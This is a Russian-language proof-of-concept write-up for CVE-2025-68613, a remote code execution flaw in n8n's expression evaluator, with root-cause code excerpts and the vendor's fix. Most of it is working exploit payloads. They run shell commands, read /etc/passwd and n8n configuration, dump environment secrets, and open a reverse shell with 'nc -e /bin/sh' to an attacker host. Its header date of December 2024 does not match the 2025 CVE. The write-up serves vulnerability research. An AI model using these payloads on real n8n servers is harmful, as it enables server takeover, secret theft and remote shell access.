
Подробный технический анализ и proof-of-concept для CVE-2025-68613, критической уязвимости удаленного выполнения кода (RCE) в вычислении выражений n8n через обход this-контекста IIFE. Включает анализ первопричин, векторы эксплуатации и рекомендации по смягчению.
Дата: 23 декабря 2024 г.
Статус: ✅ RCE полностью подтверждён
Оценка CVSS: 10.0 (критическая)
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
Результат выполнения: успешно возвращена информация о пользователе системы (например, uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))
this немедленно вызываемого функционального выражения (IIFE) не санируетсяВвод пользователя
↓
{{ (function() { ... })() }}
↓
Expression.resolveSimpleParameterValue()
↓
Создание контекстного объекта data
↓
data.process = ссылка на реальный объект process
↓
Tournament.execute(expression, data)
↓
FunctionEvaluator.evaluate()
↓
fn.call(data, errorHandler) ← ⚠️ Ключевой момент: this = data
↓
Выполнение немедленно вызываемой функции
↓
this.process.mainModule.require ← ⚠️ Доступ к реальному require
↓
Загрузка модуля child_process
↓
execSync('id') ← 🔥 Полноценный RCE!
Файл: packages/workflow/src/expression.ts
Функция: Expression.resolveSimpleParameterValue()
Строки: ~230–290
// Создание прокси данных
const dataProxy = new WorkflowDataProxy(
this.workflow,
runExecutionData,
runIndex,
itemIndex,
activeNodeName,
connectionInputData,
siblingParameters,
mode,
additionalKeys,
executeData,
-1,
selfData,
contextNodeName,
);
const data = dataProxy.getDataProxy();
// ⚠️ Уязвимое место 1: добавление объекта process в data
data.process =
typeof process !== 'undefined'
? {
arch: process.arch,
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
platform: process.platform,
pid: process.pid,
ppid: process.ppid,
release: process.release,
version: process.pid,
versions: process.versions,
}
: {};
// ⚠️ Проблема: хотя здесь раскрываются только некоторые свойства, передаётся ссылка на объект
// Реальный объект process всё равно может быть доступен через цепочку прототипов или иным способом
Файл: node_modules/@n8n/tournament/src/FunctionEvaluator.ts
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
const fn = this.getFunction(expr);
// ⚠️ Уязвимое место 2: передача data в качестве this
return fn.call(data, this.instance.errorHandler);
}
private
getFunction(expr
:
string
):
Function
{
if (expr in this._codeCache) {
return this._codeCache[expr];
}
const [code] = this.instance.getExpressionCode(expr);
// ⚠️ Уязвимое место 3: создание функции через new Function
const func = new Function('E', code + ';');
this._codeCache[expr] = func;
return func;
}
Файл: packages/workflow/src/expression-sandboxing.ts
До v1.122.0:
// ❌ Нет FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [], // ← пустой массив, без санитизации this
after: [PrototypeSanitizer, DollarSignValidator],
});
После v1.122.0:
// ✅ Добавлен FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [FunctionThisSanitizer], // ← добавленный хук
after: [PrototypeSanitizer, DollarSignValidator],
});
// Реализация FunctionThisSanitizer
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitFunction(path) {
// Перезаписываем все функциональные выражения, привязывая this к безопасному объекту
const safeThis = b.objectExpression([
b.property('init', b.identifier('process'), b.objectExpression([]))
]);
// Преобразование function() { ... } в function() { ... }.bind({ process: {} })
}
});
};
Файл: packages/workflow/src/utils.ts
Функция: isSafeObjectProperty()
До v1.122.0:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf'
]);
// ❌ Отсутствуют mainModule, binding, _load
После v1.122.0:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
'mainModule', // ✅ добавлено
'binding', // ✅ добавлено
'_load' // ✅ добавлено
]);
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('whoami', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('pwd', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('uname -a', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('ls -la /', {encoding: 'utf8'});
})()
}
}
// Чтение чувствительных файлов
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('/etc/passwd', 'utf8');
})()
}
}
// Список каталогов
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('/').join('\n');
})()
}
}
// Чтение конфигурации n8n
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('./.n8n/config', 'utf8');
})()
}
}
// Список текущего каталога
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('.').join('\n');
})()
}
}
// Прямой доступ через this.process
{
{
(function () {
return JSON.stringify(this.process.env);
})()
}
}
// Или используя известный способ
{
{
JSON.stringify(process.env)
}
}
// Проверка сетевых инструментов
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('which nc', {encoding: 'utf8'}).trim();
})()
}
}
// Получение сетевых интерфейсов
{
{
(function () {
var os = this.process.mainModule.require('os');
return JSON.stringify(os.networkInterfaces());
})()
}
}
// Реверс-шел (⚠️ Опасно! Только для авторизованного тестирования)
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
})()
}
}